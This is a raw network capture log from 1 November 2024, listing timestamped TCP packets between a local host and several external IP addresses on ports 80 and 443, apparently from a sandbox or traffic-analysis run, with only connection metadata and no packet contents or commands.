Nov 1, 2024 05:02:24.297411919 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:24.297457933 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:24.298130989 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:24.654721975 CET	443	59849	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:24.654813051 CET	443	59849	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:24.655019045 CET	59849	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:24.655035973 CET	59849	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:25.827255011 CET	59850	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:25.827299118 CET	443	59850	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:25.827384949 CET	59850	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:25.827724934 CET	59850	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:25.827766895 CET	443	59850	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:26.330313921 CET	59851	80	192.168.2.5	185.215.113.206
Nov 1, 2024 05:02:26.335303068 CET	80	59851	185.215.113.206	192.168.2.5
Nov 1, 2024 05:02:26.335402966 CET	59851	80	192.168.2.5	185.215.113.206
Nov 1, 2024 05:02:26.335570097 CET	59851	80	192.168.2.5	185.215.113.206
Nov 1, 2024 05:02:26.340303898 CET	80	59851	185.215.113.206	192.168.2.5
Nov 1, 2024 05:02:26.433777094 CET	443	59850	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:26.433927059 CET	59850	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:26.435259104 CET	59850	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:26.435292006 CET	443	59850	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:26.435532093 CET	443	59850	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:26.436845064 CET	59850	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:26.436937094 CET	59850	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:26.436950922 CET	443	59850	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:26.726953030 CET	59843	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:26.727241039 CET	59852	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:26.732007980 CET	80	59852	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:26.732120991 CET	59852	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:26.732327938 CET	59852	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:26.733685017 CET	80	59843	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:26.733746052 CET	59843	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:26.737088919 CET	80	59852	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:26.921952009 CET	443	59850	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:26.922054052 CET	443	59850	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:26.922152042 CET	59850	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:26.922313929 CET	59850	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:26.922359943 CET	443	59850	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:27.254389048 CET	80	59851	185.215.113.206	192.168.2.5
Nov 1, 2024 05:02:27.257545948 CET	59851	80	192.168.2.5	185.215.113.206
Nov 1, 2024 05:02:27.267441034 CET	59851	80	192.168.2.5	185.215.113.206
Nov 1, 2024 05:02:27.272352934 CET	80	59851	185.215.113.206	192.168.2.5
Nov 1, 2024 05:02:27.459609032 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:27.459646940 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:27.459722042 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:27.459999084 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:27.460010052 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:27.557318926 CET	80	59851	185.215.113.206	192.168.2.5
Nov 1, 2024 05:02:27.557378054 CET	59851	80	192.168.2.5	185.215.113.206
Nov 1, 2024 05:02:27.632427931 CET	80	59852	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:27.633332014 CET	59852	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:27.666758060 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:27.667035103 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:27.671852112 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:27.671961069 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:27.672112942 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:27.672254086 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:27.672305107 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:27.676819086 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.067635059 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:28.067718983 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.069185972 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.069195986 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:28.069428921 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:28.088700056 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.089495897 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.089528084 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:28.089713097 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.089745998 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:28.091361046 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.091399908 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:28.091568947 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.091594934 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:28.091775894 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.091809034 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:28.092015982 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.092046022 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:28.092056990 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.092068911 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:28.092259884 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.092291117 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:28.092317104 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.092575073 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.092608929 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.099595070 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:28.099905968 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.099935055 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:28.099958897 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.099992990 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.100122929 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:28.104881048 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:28.573402882 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.573417902 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.573429108 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.573474884 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.573487997 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.573498964 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.573509932 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.573533058 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.573533058 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.573554993 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.573700905 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.573714018 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.573781967 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.573813915 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.573887110 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.578327894 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.578362942 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.578375101 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.578407049 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.578459978 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.732681990 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.732714891 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.732728004 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.732758045 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.732789993 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.732841015 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.732852936 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.732865095 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.732886076 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.732916117 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.733109951 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.733163118 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.733177900 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.733191013 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.733220100 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.733237982 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.733342886 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.733356953 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.733386993 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.733407974 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.733408928 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.733450890 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.849754095 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.849808931 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.849822998 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.849859953 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.849873066 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.849873066 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.849922895 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.850080013 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.850121975 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.850133896 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.850140095 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.850176096 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.850497961 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.850544930 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.850547075 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.850579977 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.850610971 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.850625992 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.850641012 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.850677013 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.882956028 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.882967949 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.883100986 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.976126909 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.976154089 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.976170063 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.976255894 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.976300955 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.976315975 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.976330042 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.976330996 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.976353884 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.976368904 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.976398945 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.976569891 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.976582050 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.976593018 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.976604939 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.976612091 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.976617098 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.976629972 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:28.976650000 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:28.976686001 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.053103924 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.053114891 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.053181887 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.083806038 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.083818913 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.083873034 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.083894968 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.083940983 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.083952904 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.083967924 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.083996058 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.084024906 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.084045887 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.084088087 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.084460974 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.084506035 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.084515095 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.084527016 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.084558964 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.084834099 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.084877968 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.084893942 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.084906101 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.084934950 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.084950924 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.085000992 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.085041046 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.085403919 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.085444927 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.085464001 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.085475922 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.085508108 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.170167923 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.170202017 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.170243025 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.170260906 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.200830936 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.200901031 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.200926065 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.200937033 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.200978041 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.201005936 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.201020002 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.201045036 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.201059103 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.201095104 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.201168060 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.201211929 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.201241016 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.201255083 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.201291084 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.201320887 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.201375008 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.201385975 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.201397896 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.201420069 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.201455116 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.202054977 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.202094078 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.202105045 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.202111006 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.202147007 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.202219009 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.202230930 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.202267885 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.202308893 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.287250042 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.287281036 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.287336111 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.287372112 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.317846060 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.317863941 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.317950010 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.317976952 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.317991018 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.318005085 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.318069935 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.318099976 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.318141937 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.318453074 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.318502903 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.318515062 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.318520069 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.318537951 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.318562031 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.318741083 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.318787098 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.318790913 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.318804979 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.318830013 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.318850040 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.318933010 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.318952084 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.318962097 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.318975925 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.318986893 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.319021940 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.319792032 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.319855928 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.404138088 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.404161930 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.404203892 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.404226065 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.434976101 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.434994936 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.435005903 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.435061932 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.435064077 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.435076952 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.435096979 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.435137987 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.435151100 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.435163975 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.435194016 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.435225964 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.435571909 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.435631037 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.435642004 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.435795069 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.435919046 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.435973883 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.435990095 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.436002970 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.436031103 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.436058998 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.436070919 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.436074018 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.436115980 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.436539888 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.436559916 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.436570883 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.436589956 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.436621904 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.551940918 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.551986933 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.552000046 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.552048922 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.552079916 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.552081108 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.552143097 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.552143097 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.552187920 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.552200079 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.552252054 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.552319050 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.552366018 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.552369118 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.552378893 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.552414894 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.552474976 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.552485943 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.552525997 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.552915096 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.552964926 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.552964926 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.552978992 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.553008080 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.553030014 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.553070068 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.553081989 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.553116083 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.553504944 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.553553104 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.553556919 CET	80	59854	185.215.113.16	192.168.2.5
